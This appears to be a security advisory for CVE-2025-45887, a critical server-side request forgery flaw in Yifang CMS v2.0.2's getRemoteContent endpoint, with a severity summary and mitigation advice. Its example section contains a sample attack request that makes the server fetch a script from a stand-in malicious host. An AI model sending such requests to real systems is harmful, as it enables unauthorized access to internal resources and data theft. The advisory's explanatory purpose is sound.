Overview
The Common Vulnerabilities and Exposures (CVE) project has identified a significant vulnerability in Yifang CMS v2.0.2, designated as CVE-2025-45887. This vulnerability is of particular concern for users and administrators of Yifang CMS, a popular content management system used in a variety of applications.
The vulnerability is classified as a Server-Side Request Forgery (SSRF), a type of exploit where an attacker can induce the server to make a request to an arbitrary domain of their choice. Such vulnerabilities can lead to significant breaches of data and system security and, given the severity score of 9.1, this vulnerability is considered critical and demands immediate attention.
Vulnerability Summary
CVE ID: CVE-2025-45887
Severity: Critical (9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Yifang CMS | v2.0.2
How the Exploit Works
The vulnerability resides in the /api/file/getRemoteContent endpoint of the Yifang CMS. An attacker can craft a malicious request to this endpoint, leading the server to make a request to an arbitrary, potentially malicious, external domain. This control over server requests could be exploited to access internal resources that should be inaccessible from the outside, leading to unauthorized access or data leakage.
Conceptual Example Code
Here is a conceptual example of how an attacker might exploit this vulnerability.
GET /api/file/getRemoteContent?file_url=http://malicious.example.com/evil_script HTTP/1.1
Host: target.example.comIn this example, the attacker is using the `file_url` parameter to force the server to fetch content from `http://malicious.example.com/evil_script`, which could contain malicious code or data extraction scripts.
Mitigation Measures
The primary mitigation measure for this vulnerability is to apply the patch provided by the vendor. Until the patch can be applied, a temporary mitigation measure would be to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and filter network traffic. These measures can help to identify and block malicious requests attempting to exploit this vulnerability.
Remember, always keep your systems updated and monitor them for any unusual activity to reduce the risk and impact of security vulnerabilities.